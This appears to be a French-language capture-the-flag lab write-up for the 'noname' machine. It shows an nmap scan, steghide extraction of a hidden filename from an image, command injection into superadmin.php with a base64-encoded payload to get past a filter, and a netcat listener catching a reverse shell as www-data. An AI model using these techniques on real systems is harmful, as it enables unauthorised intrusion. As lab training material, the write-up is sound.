Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-26 06:24 EDT
Nmap scan report for 192.168.228.15
Host is up (0.033s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (Ubuntu)
HTTP (80)
Comme l'indique la page, cecei est bien "fake"
En allant sur admin, on tombe sur une page avec des images, en regardant le code source de la page :
passphrase:harder
Nous avons cherché à quoi il sert, en passant par quelque chose de très CTF : la stéganographie. Nous avons téléchargé chaques images sur notre machine.
Cela fonctionne ! Maintenant nous allons tenter d'obtenir un reverse shell, mais certains caractères semblent bloquer. Nous allons lire le fichier php. Pour cela on remplace id par "cat superadmin.php" puis nous lisons le code source.
Nous avons dorénavent plus d'informations.
Pour bypass cela, nous allons encoder notre payload en base64, le décoder et l'exécuter.
┌──(kali㉿kali)-[~/oscp/noname]
└─$ steghide info haclabs.jpeg
"haclabs.jpeg":
format: jpeg
capacity: 577.0 Byte
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file "imp.txt":
size: 21.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
┌──(kali㉿kali)-[~/oscp/noname]
└─$ steghide extract -sf haclabs.jpeg
Enter passphrase:
wrote extracted data to "imp.txt".
┌──(kali㉿kali)-[~/oscp/noname]
└─$ cat imp.txt
c3VwZXJhZG1pbi5waHA=
┌──(kali㉿kali)-[~/oscp/noname]
└─$ cat imp.txt | base64 -d
superadmin.php
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [192.168.45.224] from (UNKNOWN) [192.168.228.15] 41208
bash: cannot set terminal process group (732): Inappropriate ioctl for device
bash: no job control in this shell
www-data@haclabs:/var/www/html$